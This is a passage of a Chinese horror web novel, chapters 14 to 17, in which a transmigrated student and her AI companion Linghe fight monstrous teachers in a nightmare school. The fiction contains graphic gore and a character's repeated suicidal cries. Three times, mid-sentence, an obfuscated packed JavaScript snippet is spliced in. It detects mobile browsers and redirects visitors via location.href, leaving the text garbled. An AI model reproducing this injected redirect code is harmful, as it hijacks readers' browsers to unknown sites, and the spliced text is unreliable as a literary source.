“本来我是想先找机会去厕所看看的,然后晚上去天台,我猜那两个地方应该会有银杏叶。这样系列道具就集齐了四分之三,那么剩下一个在哪里呢?” 纪采爬上了五楼,一间一间教室地看过去,“策划不可能不给线索的,系统是《天灾》的系统,它要制造更多异能者而不是要杀人,所以它也一样会给线索。” 班主任的办公室都会在他们负责的班级的同一楼层,袁文盈的班主任就在老方的办公室,那“3班”也会在五楼吗? 纪采路过的每间教室里都站满了人,朗读声震耳欲聋。直到她走到了走廊的尽头。 明显的光暗分界线将那间教室和纪采这边的走廊分割开,这边是寒冷的清晨,而对面笼罩在宁静的黄昏中。有人把三十年前的世界凭空接入了这段走廊,只要往前一步就能拥抱陈旧的夕阳。 “是不是太过顺利了?” 零和有些怀疑,“在异常已经对你有所警惕的情况下,这条线索简直是天上掉馅饼……” “〈漫游指南〉不也是白捡的吗?不入虎穴焉得虎子,干就完了!” “等……” 纪采站在分界线前,从背包格子里掏出了黑漆漆的娃娃。娃娃在她手掌里活了过来,化作流动的阴影从指缝中落下。 阴影被抛在身后,纪采一脚踩进了黄昏的世界。 她鬼鬼祟祟地弓着腰,贴着墙根摸到了门口附近。看上去很有些年头的铁皮门是关着的,上面挂着的门牌刻着“高三(3)班”,字体上暗红色的漆几乎要掉完了。 纪采悄咪咪地越过大门,蹑手蹑脚地摸到了窗台下:“有摄像头没?你看得到里面吗?” “没有,现在你的视野就是我的视野。” 零和顿了一下,“顺带一提,在你进入黄昏这边的世界时,我和那边的摄像头断联了。” 纪采:??? “不过你也不用太担心,我还能摸到系统的屁股。想做什么就去做吧!” “你明明刚才还让我等一下?!” “可是你都进来了啊?!” 纪采怂了,灰溜溜地摸了回去,然后她就发现自己回不去走廊那边了,像是撞在了无形的空气墙上。 “干什么!这是在干什么!强制我进副本是吧!” 纪采恨恨地捶空气墙,然而它纹丝不动,“好好好,现在咱们是要被赶鸭子上架了!” 她从实体变成影子,把自己投射到教室窗户的玻璃上。 教室的中央坐着一个女孩,她低垂着脑袋,麻花辫挡住了她的侧脸。被撕碎的纸片像落叶一样洒了一地,女孩的手上拿着几张残片,似乎试图把它们在桌子上拼合起来。 纪采暗戳戳地观察了好一会儿,那些散落在地的纸片上都写着残缺的诗句,笔迹娟秀纤细。 女孩的身体时不时地颤抖一下——她压抑着哭声抽泣,泪水顺着鼻梁滑到鼻尖上,滴落在纸面,泅开一片小小的水渍。 难怪纪采找不到袁文盈夹了银杏叶书签的诗集,原来是被撕了吗…… 广播里传来滋拉滋拉的轻响。零和伸出自己的电波触角连接上了音响,电流在异能作用下逐渐稳定下来,播放出了清晰的声音。 “滋……你说你……滋……写那些东西有什么用?一天天正事不干,写诗能养活你自己吗?” 音响里播放出来的声音有些失真,但纪采还是能听出来这是刚才女孩母亲的嗓音。 “你还是小孩子,你不懂,我这都是为了你好!当初让你选理科,学一门技术,好歹能养活自己。结果你硬要选文,文科能赚几个钱?背书谁不会啊?行,学文也行,能考个公务员也挺好的……” “你最近的成绩又下滑了,你能不能反思一下自己?最蠢的背书你都不行,你到底还有什么能行啊?你以前成绩不是挺好的吗?自从你开始写你那个破诗……” “……一天天写你那个破诗,也没见你文科好到哪里去啊!你老师不是说你有灵气吗?我告诉你,外面的天才海了去了!别把自己当盘菜!不怕你蠢,就怕你又蠢又不努力!” 纪采越听越不舒服,让零和赶紧把这个破音响掐掉。但是女人的碎碎念还是没从耳边断绝,声波在墙壁间来回折返,词句被撞碎成零落的一片又一片,回音重重叠叠,像是有无数个人在说话。 女孩的哭声已经压抑不住了,喉咙里翻滚的呜咽溢了出来。她放下手中的纸片,用双手扯着自己脑袋上的头发。 纪采真的要听不下去了。 袁文盈好惨一女的,没爹就算了,还要被亲妈PUA。现实里念的学校要真是山河中学那样的集中营,她变成异常在里世界当家作主居然还能算是解放心灵脱离痛苦。 “我妈要这样,换我我也得跳啊。你说,现实世界里的袁文盈不会真的被逼到自杀,所以变成异常了吧?” 纪采在脑内戳零和,“那她的执念是什么?向她妈证明自己?总不可能是重新投胎换个好妈吧?” “我同意你的推测,同时也要考虑到她在现实世界自杀失败的可能性,毕竟死亡不是转化为异常的必要条件。” 零和回答,“以及,我认为现在你的处境非常危险,你还是尽快思考对策比较好。” “你不是AI吗?你不是我的异能吗?为什么还要我想办法?想办法的不应该是你才对吗?!” “首先,我必须纠正你,我不是你认为的人工智能Artificial Intelligence,而是具有自我意识的硅基智能生命体……” “我什么都做不好!” 在连绵不绝的回响中,女孩终于崩溃了,抱住脑袋失声痛哭。 墙壁开始高频震动,天花板扑簌簌地往下掉落粉尘。建材发出不堪重负的惨叫,角落里生长出手臂粗的裂缝,眼看着就要贯穿整面墙体。 纪采活了两辈子,第一次亲身体验天崩地裂。玻璃在剧烈地摇晃,纪采仿佛身处极速狂飙的面包车里,在盘山公路上时速一百八神龙摆尾漂移过弯。前头司机猛踩油门高歌自由飞翔,后边儿乘客吐得五颜六色七荤八素。 “我什么都不是,根本没有存在的价值……” “你放屁!” 窗玻璃呕出了一滩漆黑的石油,路见不平一声吼的纪采五体投地,发出“嗷”的一声惨叫。 纪采艰难地抬起头:“我就觉得你的诗写得很好啊!你很有才华好吧!反正我写不出来!” 女孩也抬起头,她用双手捂着脸,从指缝里盯着这个不速之客:“你懂什么?你又不是我,你怎么知道我的痛苦?” 我怎么不懂?我可太懂了!现在这才哪儿到哪儿? “哈!那我可太知道了!我……” “不管我怎么努力,我就是不能符合别人的期望!我什么都做不好!我一点用都没有!我就是个烂人!啊啊啊啊!” 纪采正准备打出一发慷慨激昂感人至深的嘴炮,就被女孩歇斯底里的哭叫强行打断了。 女孩的双手从脸上慢慢滑下来,指甲深深地扎进面部的皮肤里,犁出几道长长的血痕。 瞪得跟铜铃一样大的眼球几乎要挣脱眼眶,它拨开覆盖在身前湿漉漉的乱发,粘稠的组织块和血液汹涌如泥石流。 “我讨厌我自己,我讨厌这个世界,我要离开这儿。” 眼球在说话,它的瞳孔和女孩的声带一同震动,“我要去死!我要去死!我要去死!!” 狂风摧毁了墙壁,蛮横地冲撞进来。散落在地上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432884|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸片被龙卷风裹挟,朝着纪采蜂拥而去。 柔软单薄的纸比刀锋更加锐利,高速旋转的涡流简直是钢铁的绞肉机扇叶,镜中人的身体像是豆腐一样在眨眼间就被搅成了碎沫。 纪采发出了杀猪般的惨叫。老实说她坐过山车时都没有叫得这么凄厉。 要不是她反应快,把自己的影子投射到远处的一块碎玻璃上,镜中人就要被“日”地一声打成糊糊了! “好痛!好痛!我靠痛死我了!嗷嗷嗷嗷嗷!” 纪采捂着脖子上碗口大的疤,痛得满地打滚。她的头被搅碎了,漆黑的阴影在平滑的切面上沸腾着冒泡,迅速地长出一条又一条的肉芽,互相抱团生长,虬结成一个新的脑袋。 这个NPC怎么不讲武德啊!根本不给人说话的机会,起手就是杀招? “快跑——她知道你在哪里!” 零和的音量从没这么大过,纪采本来就痛得嗡嗡作响的脑子雪上加霜。 “咔嚓!” 纸片精准地凿入纪采藏身的碎片,玻璃从中央裂开,碎成几不可见的晶体粉尘。 “啊!啊!啊啊啊啊!” 持续飙升的肾上腺素覆盖了断头的剧痛,纪采不停地惨叫,连续不断地从一块玻璃跳跃到另一块玻璃。 狂风在她身后咔嚓咔嚓地炸开一朵又一朵闪亮的烟花,每一次破碎都像纪采颈椎骨爆裂的声响。 袁文盈我【哔——】你【哔——】!!! 纪采忍着浑身的火烧般的痛楚,纵身一跃,从墙壁被破开的大洞那里跳了出去,摔到了外面的走廊上。 【虚实幻真】重新捕捉到了可作用目标,纪采果断把意识转移回自己的身体。 纪采拔腿就跑,根本不敢回头看。 零和提醒她:“那间教室消失了!” 就算零和这么说纪采也还是没停,她一溜烟地冲到自己教室门口,一把抓住门框把自己甩了进去,“砰”地一声摔上了大门。 纪采的心脏跳到了嗓子眼,耳膜都在和心跳同频鼓动,疼得像是快要被刺穿了。 同学们连个眼神都没给纪采,只有站在讲台上的老方把脖子扭了九十度,背着手朝她露出一个标准的微笑:“回来啦?快去读书吧!” 纪采惨白着脸,笑不出来。事实上她现在连动都动不了。 镜中人的头被砍掉之后不会失去生命,但是濒死的疼痛却丝毫不打折扣地传递给每个神经末梢,浑身上下都在痛——你认为断的只是头,但是大脑可是认为它失去了脖子以下的全部身体啊! 就算擦破了点油皮,疼痛也不是只存在于受伤的那一瞬,伤口会用持续的疼痛来警告你你受伤了,你周围的环境不安全——所以就算换了个身体,大脑也还是在幻痛,无时无刻不在提醒纪采——你的头没了!你的头没了! 她现在真想把自己的脑子挖出来让它别喊痛了。爱情真是伟大,小美人鱼更是堪称英烈,居然没被每一步都踩在刀尖上的痛楚逼疯,没杀了王子杀了情敌杀了所有人真是圣母降世怜爱众生啊! 纪采现在就想咬死所有人!! “你怎么还不动呀?” 老方瞪大眼睛,用指尖轻轻捂住微张的嘴唇,像个年轻小姑娘似的做出一副非常惊诧的情态。 换平常纪采绝对要被恶心得隔夜饭都吐出来。但现在纪采快痛晕过去了,她凭借最后一丝求生的意志挪动着身体,只是几步便汗出如浆。 “……纪采?纪采!” 汗水粘在睫毛上,眼前的世界被水珠的曲面折射出层叠的重影。 留在视网膜上最后的画面是雪白的天花板,老方光滑的脑袋和顶上的白炽灯一样亮。 我靠,一天没吃东西了,我好想吃卤蛋啊。 纪采呆滞地想。 15. 好学生 纪采闻到了很浓的消毒水气味。 它比自来水里没散干净的氯口气味浓几十倍,每次闻到这个味道纪采都想呕。 纪采觉得自己得爬起来去厕所吐。 睁开眼之后她觉得自己还是晕过去比较好,不用去厕所也能吐——她的脑袋痛得像是裂开了,胃袋里的呕吐物能顺着食管直达天灵盖。 “你终于醒了。” 零和在她裂成两半的脑子里说话:“现在是副本时间第二天的上午十点大课间,这里是学校的医务室。早上你闯入那间教室之后看到的女性极有可能是里世界核心,直面它之后你的精神值从531上涨到了608,【虚实幻真】的天赋分支【指数裂变】已经解锁。不过很遗憾,这种火箭式提升的副作用是受到持续的精神污染。” 纪采盯着雪白的天花板,头脑放空,神情痴呆。 “什么意思?” “简单的来说,就是拿智商换精神力。”零和笑出了声,“你没觉得自己变蠢了吗?反应迟钝,思维停滞。” 纪采双目无神:“啊?” “你自己体会吧,我不说这件悲伤的事情了。另外,镜中人的身体似乎从那里携带了一件异能道具出来。” 纪采还是盯着天花板,没动。 零和无奈地提醒:“拿出来看看啊!” 纪采的手指动弹了一下,黑漆漆的毛线娃娃从她手心咕噜噜地滚进雪白的被子里。 娃娃的脖子上插着一块梭形的碎片,玻璃质感的透明外壳里包裹着泛黄的纸页。淡红的墨像是被水稀释的血,小蛇一样纠结成一团团的文字,又不断地扭曲着变形。 【特殊道具:〈心刃〉】 【星级:*****】 【“因为无法将愤怒刺向外界,所以只能将刀刃向内对准自己”】 【来自袁文盈的特殊道具,它只能攻击袁文盈自己。使用该道具时有极大几率对袁文盈造成致命伤害。】 纪采:? 不是?你这把只能自己刀自己的刀,怎么还把我的头给砍飞了啊?! “你心心念念的攻击性道具来啰,还是对boss特攻,开心吗?”零和的语气像是在哄小孩。 纪采不开心,她还沉浸在差点被人弄死的愤怒里。 “她都把刀送我手上了,我不送她去死实在是对不起她的用心良苦……嘶。” 纪采痛得直抽冷子,缓了好一会儿没说话。 用心良苦……? “不对啊?” 纪采盯着天花板琢磨了足足好几分钟,太阳穴突突地跳,“如果只要找到袁文盈,再用这把〈心刃〉杀了她就能通关,那银杏叶又是怎么回事?它们还是一个系列道具呢!策划抽风啦,吃饱了撑的塞这么多背景故事!” “哦?看来你的智力还没有完全退化。也许它们指向两种不同的通关方式?” “按照套路,苟活一般都是常规结局Normal Ending,超度能打出真结局True Ending。但是不管怎么想,‘死亡’都不能算真结局吧?万一我把袁文盈杀了,结果是个坏结局怎么办?那我不死啦死啦滴?” “现实可不是游戏。你认为的坏结局,在袁文盈看来或许是好结局也说不定?谁能知道异常想要什么?” 零和叹息,“不过我也觉得,你获得这把〈心刃〉的过程太过轻易了……” “轻易?!” 纪采完全忘记了在脑内和零和对话,激动地尖叫,“我差点死在那儿!我的头都被打飞了!” 米黄色的隔帘被人“唰”地一声拉开,听见动静走过来的校医面无表情地说:“醒了,能动不?能动就回去上课,别在这儿偷懒。” 差点死了的纪采对着校医竖起了一根中指。 然后她就理所当然地被校医扫地出门。 零和发出一声长长的叹息,:“你……你先看看规则书吧。” 一本半透明的白色小册子悬浮在纪采身前,五颜六色的电子烟花在文字附近噼里啪啦地炸开。 “恭喜你,你的学号更新为18100437,你的新教室在一楼的1004。新的一月请继续好好学习,天天向上!” “愣着干什么,走啊?” 见纪采半天没动,零和疑惑地出声。 纪采站在医务室门口,眼神呆滞地盯着烟花看,规则书上的字一个都没进脑子:“啊?去哪?” 零和:…… “完成检验,怀疑智商等额兑换为精神值。目前尚不确定这种弱智状态的持续时间……” “你才弱智!我不是在看吗?” “你别看了,我告诉你得了,1004!一楼的1004教室!” ———— 山河中学的学号和班级是按成绩排的,座位也是,分数高的人拥有优先选择权。但是纪采因为昏迷错过了选位,留给她的位置在离前门最远的教室角落。 周围的同学都是新面孔。脚下生风地大跨步进门的女人应该是这个班的班主任,她看起来很年轻,五官甜美可爱,但那张漂亮的脸阴沉沉的,无端地叫人害怕。 她把手上一摞叠成小山的书本啪地一下砸到讲台上,唾沫星子狂飙:“厕所里面那些乱七八糟的东西,谁参与了?自己自觉一点站出来!不要逼我调监控!” 纪采警觉,不祥的预感油然而生。 “你们可真有本事,学校把你们的时间都限得那么死了,居然还有闲功夫涂涂画画!到处都是,狗都没你们能撒!我告诉你们,现在厕所也装监控了!隐私?你们配吗?都是你们自己作的!” 年轻女人愤怒地咆哮,声音尖锐刺耳:“之前是不鼓励你们去上厕所,你们去了,我也就睁一只眼闭一只眼!现在出了这种事,你们谁也别想出这个门!要上厕所就自己带个壶吧!” 没人吭声,全都沉默地低着头。 “没人承认是吧?好,我就当你们没干,现在我们来说另外一件事。” 女人冷笑着拿起堆在讲台上的那些本子,念出了一串人名。 被念到名字的人一个接一个的从座位上站起来,脑袋恨不得埋进地里去,弯曲的颈椎像是快被大雪压断的树枝。 “给你们女生留个面子,这次我只翻了男生的寝室。你们这些小瘪犊子可真能藏,看看我都找到了什么?” 女人拎起一本又一本的小说和漫画,大声地念出书名,然后把它们往那些男生身上砸:“你们是不是觉得以你们现在的水平,高考上个重点是没问题的?所以就开始看这种垃圾消遣了?你们这是在吸口精神毒品!会上瘾的知不知道?” 书本哐哐哐地砸在人身上,像是连珠炮。好几个人高马大的男生,此时瑟缩得像淋雨的小鸡仔,连闪躲都不敢,只是僵在原地。 “还有呢,这次我发现我们班上还居然还有一个大文豪!杨乐!” 女人高举起一本带锁的笔记本,密码锁被她不知道用什么办法破坏了,只剩下边缘的壳,“大文豪,你每天居然还有时间写日记呀!写得还不少!” “来来来,今天我就让全班同学欣赏一下你的大作!” 她翻开一页,用轻快的语气抑扬顿挫地念出日记里的内容。 “……‘他们告诉我这一切的过程都是必经的,痛苦是砂砾,最后会被蚌壳打磨成珍珠。毛毛虫只有破茧才能成蝶,可总有没能变成蝴蝶的毛毛虫吧?它们去哪里了呢?茧里面好黑,好冷,好痛苦,我感觉我快要窒息了。我变不成蝴蝶,我可能会变成死掉的毛毛虫。’哎呀,写得好!写得好!” 女人抚掌大笑,“你这么喜欢毛毛虫,干脆别叫杨乐了,改叫杨虫吧!好黑!好冷!好痛苦!哈哈哈哈!” 她的语气像舞台上表演的小丑,滑稽又怪异。观众都被这表演逗乐了,一阵哄堂大笑。 那个被当众念出日记内容的男孩没笑,纪采也没笑,她的嘴角沉得像是挂了铁秤砣。 这很好笑吗?如果换成是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432885|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的日记被人翻出来公开处刑呢? 笑了一阵,女人像是失去了兴致一样突然垮了脸。她捏住笔记本的两翼用力撕扯,植物纤维发出断裂的哀嚎,碎纸像下雪一样纷纷扬扬地落下。 “是该让你们收收心了,省得成天想那些有的没的。” 女人走到杨乐跟前,用纤长的指甲顶住他的太阳穴:“我告诉你!你扛不过去也得扛!否则就只能变成社会的底层!干脏活累活的下等人!你永远拿不到好的资源,买不起贵的东西,吃的是垃圾,用的是垃圾,躺在垃圾堆里,自己也变成垃圾!” “高考是你改变人生唯一的机会!其他的一切都不重要!” 指甲深深地嵌入柔软的皮肉里,男孩发出了尖叫,但女老师的另一只手一把扣住了他的脑袋。 “不好!规则已经开始异变,脱离常世,彻底倒向里世界那边了!这些怪物要开始杀人了!” 纪采这还是第一次听见零和的语气变得慌乱。但是现在她的反射弧变得极长,就算零和这么说,她也体会不到那种大难临头的感觉。 女老师的整个手掌都已经没入了男孩的头颅里。男孩的侧脸上被开了一个血肉模糊的大洞,颅骨碎裂,能看见带着血的脑组织从孔洞里漏出来。 “你们就是脑子里有太多杂念,所以才不能全身心地投入学习。” 老师的一节小臂也没了进去。她的手在男孩的脑袋里面来回搅动,脑浆在颅腔里摇晃,水声荡荡悠悠。 “兴趣爱好都扔掉,你们现在唯一的任务就是学习!什么人际交往,哲学思考……不能帮你们多做对几道题的东西都是废物,只会挤压你们的时间,占据你们的脑容量。” 她掐碎柔软的脑组织就像掐碎果冻一样简单。老师往外掏出了几块软肉,嫌恶的把它们摔在地板上。 男孩一下就停止了挣扎,惨叫声也消失了。他的神情凝固在了脸上,定格成呆板的面无表情。 死尸一样的青白从他脸上褪去,血色丰盈的红润染上脸颊。他脑子里的废物被清理掉了,鲜活的生命又回到了他的身上。 但是他脑袋上的洞没有愈合。刚才老师野蛮地一通搅和,原本泾渭分明的脑浆和脑仁融为一体,糊成了豆花一样的东西。 那豆腐花还碎得挺彻底,男孩稍微转一下脑袋,滑腻的肉糜就顺着溢出的水液流了下来,沾在他的头发和衣领上。 老师拍拍男孩的肩膀,满意地微笑:“痛吗?痛就对了,变得优秀的过程总是痛苦的,老师也是为了你好。现在你已经是一个优秀的学生了。” 男孩也露出一个微笑:“我是优秀的学生,我可以全身心地投入学习。” 老师捏着自己的下巴,上下打量男孩,摇摇头说道:“你的确很优秀,但你还不够优秀。只有丢掉全部的累赘,你才能真正地全身心投入学习。” “闲聊会让你分心。” 老师切开学生的咽喉,喉管被扯了出来。 “吃饭会浪费你的时间。” 老师剖开学生的肚子,胃袋和肠道被丢弃在地上。 “肌肉会抢夺大脑的能量供应。” 老师剥开学生的皮肤,一点一点地剔掉附着在骨骼上的肌肉。 最后男孩只剩下森白的骨架。残破的头骨盛着一团小小的浆糊状脑组织,失去肌肉和韧带的两颗眼球滚落在眼眶外,只有纤细得像豆芽的神经悬吊着它们。 没有血肉支撑的四肢骨骼纷纷垮了下来,紧紧地贴合脊椎,双手双脚都收拢成一束,像是钉子的尾部。 他已经不能算是人了,只是支在一根骨头上的脑花,被猫啃过的鱼骨头都没他身上这么干净。 老师显然对她的作品非常满意,大声赞叹:“好呀,好呀!实在是太好了!现在你就是最棒的学生了!” “别看了!别看了!你还在等什么?想活命就把我融合!快点!” 零和的嗓子都喊劈了:“纪采?你到底听见没有?纪采!你要没命啦!” 16. 规则 老师伸出自己的舌头,慢条斯理地舔舐着手臂上的血液和碎肉。她和纪采对上了视线,动作一顿:“哎呀,差点忘了,还有一个新同学呢。” “纪采同学,在上一次的月考中一步登天!仅仅用一个月的时间,她就打败了六百人!” 老师慷慨激昂地说完,啪啪啪地鼓起掌来。底下也响起稀稀拉拉的掌声,变成骨头架子的杨乐竖起脊椎上的掌骨,像海豹那样拍手。 “纪采同学,有什么学习上的心得吗?和大家分享一下吧?” 老师笑眯眯地走到纪采身边,用血淋淋的左手按住她的肩膀。 浓郁的铁锈味充满了鼻腔,但比这更浓的是老师嘴里喷出的腐臭味,比生蛆的烂肉还要冲。 纪采从没想过世界上居然存在一种气味能够熏得眼睛发疼,生理性的泪水立刻就涌了上来。她脖子往前一伸,灼热的胃酸逆流而上涌出喉咙,“哇”地一下把胃里的东西全都喷吐出来。 纪采一天没有进食,胃袋里明明应该空空如也。可是她却吐出了一团又一团浓痰一样的软肉,滚落在桌面和她自己身上。 “纪采!!” 零和在她脑子里尖叫,刺得她耳膜突突地跳。 【隐藏规则揭示:你正在经历知识的生长痛。凡事皆有代价,你得到的越多,失去的就越多。】 半透明的书册自己跳了出来,露出书写着这些文字的那页,暗红色的墨水像是血一样滴下笔画的末梢。 痛吗?好像是有点。冬天的衣服很厚,纪采却能分明地感受到老师的手像是铁钳一样要穿进她的肩胛骨里面。 但更强烈的感觉是冷。老师手臂上流下的鲜血打湿了纪采的半边肩膀,湿冷穿透层层的织物覆盖上她的皮肤。刚刚脱离人体的血液应该是温热的才对,可纪采的半边身体却被冻得发僵。 零和声嘶力竭的叫喊消失了,嗡鸣声悠长地回荡在耳道里。 纪采看见老师手臂上的肉正在往下坠,和鲜血一起淅淅沥沥地往下流淌,化作流动的红。最后老师的左臂只剩下嶙峋的白骨。 鲜红源源不断地浇在自己的半边身体上。红色的血在往下坠,纪采那半边失去知觉的身体好像也在往下坠,寒冷硬生生地把自己这半边身体从自己那里撕裂了。 见纪采木愣愣地盯着她不说话,老师脸上的笑容愈发扩大了:“纪采同学?和我说几句吧?你还有什么遗言吗?” “我没有什么学习心得。” 纪采定定地看着老师,回答她刚才问自己的那个问题:“我只是会做题,所以成绩才好,不代表我学习好。” 真正做题的是零和,她只是个无情的填答案机器。哪来的什么学习心得? 老师的笑容僵在了脸上:“这不是一样的吗?” “当然不一样。学习好的不一定会做题,学习不好的也不一定不会做题。” 纪采一脸深沉:“你没进社会,你不懂,等你工作就知道了。” 老师:? 纪采能感觉到自己现在正处于一个很神奇的状态。她好像忘记了什么很重要的东西,但她一点都不急,好像潜意识里认为那些东西不那么重要似的。 “我根本就不学习啊,哪来的生长痛,我又不是缺钙。” 纪采盯着桌子上自己呕出来的那些碎肉,它们正像毛毛虫一样蠕动着:“这些又是什么鬼东西?这是我的?我又没得到什么,你凭什么拿我的东西?你抢劫啊?你犯法了你知道吗?” 悬浮在空中的规则书剧烈地震颤起来。它的书页像是接触不良的显示屏,闪烁几下后倏地消失了。 “我也不想和你这种烂人说几句,我就想问你一个问题,你的教师资格证是买的吧?” 纪采用还能动弹的右手,对着老师比出自己修长的中指:“教育学和心理学及格没有啊?垃圾。” “纪——采——!” 女人尖叫起来,整张面孔都因为暴怒而扭曲。皮肉经受不住剧烈的挤压和拉扯,啪嗒啪嗒地往下掉,像是摇落了一整棵桑树上的蚕虫。 她的胸膛猛烈地起伏,肺部扩张得快要爆炸了。扣在纪采肩膀上的骨爪发出令人牙酸的硬物摩擦声,雪白的骨骼像是抽条的树枝那样疯长,指骨的末端比针尖还要锋利。 神经电流在反射弧里游走了一个世纪,纪采这才后知后觉地感到害怕。 我靠这疯女人不会想刀我吧?! “你……滋滋……才反应过来吗!” 零和的声音重新出现在耳边。他听上去崩溃极了,音质磨损得像是从老旧收音机播放出来,掺杂着细微的电流声。 “我靠我靠我靠!这什么鬼啊!救一下救一下!救一下啊!” 纪采也崩溃了。 零和的语气非常奇怪:“现在看来你根本不用我救,毕竟你……总之规则已经被你强行修正了。塞翁失马焉知非福,反应变慢居然还算是误打误撞……” 已经毫不掩饰杀意的女人抬起了骨爪。她的动作一卡一顿的,空气中像是有无形的丝线缠绕住了她的关节,吊着她的手臂硬生生地偏转了方向,指向教室门口。 她的脸上剥落了一层皮肉,底下纵横的筋络因为愤怒吹气球似的鼓胀着。 女人眼神怨毒地盯着纪采,几乎是从牙缝里挤出来字词:“你给我滚出去罚站!把你的家长叫来!” 纪采从善如流地起身要滚。 “你到底是什么人?” 女人背对着纪采,整个身体都在轻微地抖动,像是所有肌肉都在用力地对抗着什么东西:“为什么你能影响规则?” 纪采不知怎么地脑子一抽:“既然你诚心诚意地发问了,那我就大发慈悲地告诉你——” “我们是穿梭在银河的天行者!毁灭!毁灭的未来在等着我们!” 零和:……明明是硅基生物的他第一次感到无法呼吸。 纪采昂首挺胸地离开教室。冷风呼呼地穿廊而过,吹得她发懵的脑袋逐渐清醒。 想明白发生了什么的纪采双腿一软。背后坚实的墙壁接住了她,纪采这才没滑到地上去。 “救命救命救命我都干了什么!零和!零和!啊啊啊啊!” 纪采的脑子里回荡着她自己无意义的“啊啊啊”尖叫。 零和抑扬顿挫地诵读:“我们是穿梭在银河的天行者!毁灭!毁灭的未来在等着我们!” “这不是超级帅气的吗哈哈哈哈哈哈哈哈!”零和快活地大笑。 纪采捂脸不是,捂耳朵也不是。她最想捂住的是自己的脑子,零和是在她脑子里面说话。 远处过来了一颗大眼珠子,底下一丛金针菇似的干枯视神经像海浪一样涌动,托着眼球悄无声息地移动。 它停留在沿途每一间教室的窗外,趴在玻璃上观察教室里面的学生,恨不得把自己压扁在玻璃上。它用两根神经在本子上记录文字的时候,眼神兴奋得像是饿了三天的老饕在餐厅里点杀活鱼。 纪采居然在一颗眼球身上看出来了眼神。 刚出来的时候已经吓软了,现在倒省了跪倒两次的功夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432886|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 眼球看到站不起身的纪采,从黑色的瞳孔底下裂开了一张嘴,里面满是锯齿状的鲨鱼牙:“站没站相坐没坐相!骨头没用就打断好了!” 纪采连忙爬起来,后背紧紧地贴在身后的墙上。她屏住呼吸等着眼珠子从她跟前走过去了,结果那颗眼珠子居然就这么停在她面前盯着她看。 纪采:?! “嗨?你……您有什么事吗?” 眼珠子不语,只是贴得越来越近,细密的血丝以肉眼可见的速度爬上眼白。 眼珠子红得滴血。纪采觉得它的眼神像是要杀人。 就这么对峙了好一会儿,纪采僵硬的身体突然软了下去。这次倒不是被吓软了,是她想明白了一件事。 你看吧你看吧,随便你看,反正看多少眼都不会少块肉——规则就是那块透明的钢化玻璃墙,看似单薄却坚不可摧。这些怪物也就只能隔着空气无能狂怒。 想通了的纪采决定试试自己的新天赋【指数裂变】。 她脚下的影子突然长出了一个小触角,然后又迅速地消失了。 【指数裂变】让纪采现在能够同时控制自己的本体和镜中人,类似于用大脑控制身体的左右手一起运动。只不过初次使用的感觉很生疏,别扭得像是左手画圆右手画三角。 袁文盈爆锤纪采的那次极大地激发出了纪采的求生本能,让她还不太熟练的镜面跳跃直接炉火纯青。 只是纪采还不能很好地分心去控制镜中人,导致镜中人像喝醉酒了一样晕头转向地在数不清的光滑平面里乱窜,窜得纪采的本体都眼冒金星。 镜中人一头撞进了厕所里。她附在一块光滑的瓷砖表面,看见有好几个清洁工装扮的人拿着工具,正在清理墙上的文字和图画。 墨水被化学试剂溶解,红与黑在发泡的溪流中潺潺地流动。那些风姿各异的人脸变成了流泪的骷髅,所有的字句都被擦除得模糊不清。 不——! 纪采感觉天都塌了。她不死心地窜进了别的楼层里,结果发现所有的厕所都无一幸免。 她的系列道具啊!!! “现在仅剩的线索就只有天台了。” 纪采愁眉苦脸地端着碗,看着碗里五彩缤纷的预制菜糊糊,实在是下不去嘴:“可是它们在防我,盯得老紧了。如果天台上真的有关键线索,它们能轻易放我上去?” 纪采用筷子翻开盖在米饭上的包菜叶子。被人掀了屋顶的苍蝇宝宝们群情激愤,挺起白胖的身体要和纪采决一死战。 纪采“啪”地一下把整个碗都反手倒扣在了桌子上。不知道混了多少防腐剂的浓稠咖喱酱流得到处都是。 “同学,” 把纪采团团围住的四颗眼珠子在她得前后左右一齐开口:“你怎么浪费粮食呢?扣分!扣分!” 四面八方伸过来的血管末端全都粘着一张“违纪通知单”。都不用触发什么规则效果,这一摞纸光是捂就能捂死她。 “首先,我不是浪费粮食,我是手抖不小心打翻了,所以你们对我的指控不成立。” 纪采淡定地开始打嘴炮:“其次,不吃饭可以节省我的时间,让我全身心地投入到学习的伟大事业当中!” 血管们在半空中停滞不动了。纪采拿起了碗,没管狼藉的桌面,云淡风轻地经过抖如筛糠的眼球们。 纪采觉得自己可能发现了自己真正的外挂。并不是异能,而是作为穿越者的她本身。零和说过的,“规则之上的规则”。 夜晚终于要降临了。 17. 天台 上阳一中的痕迹已经快完全被抹去了。 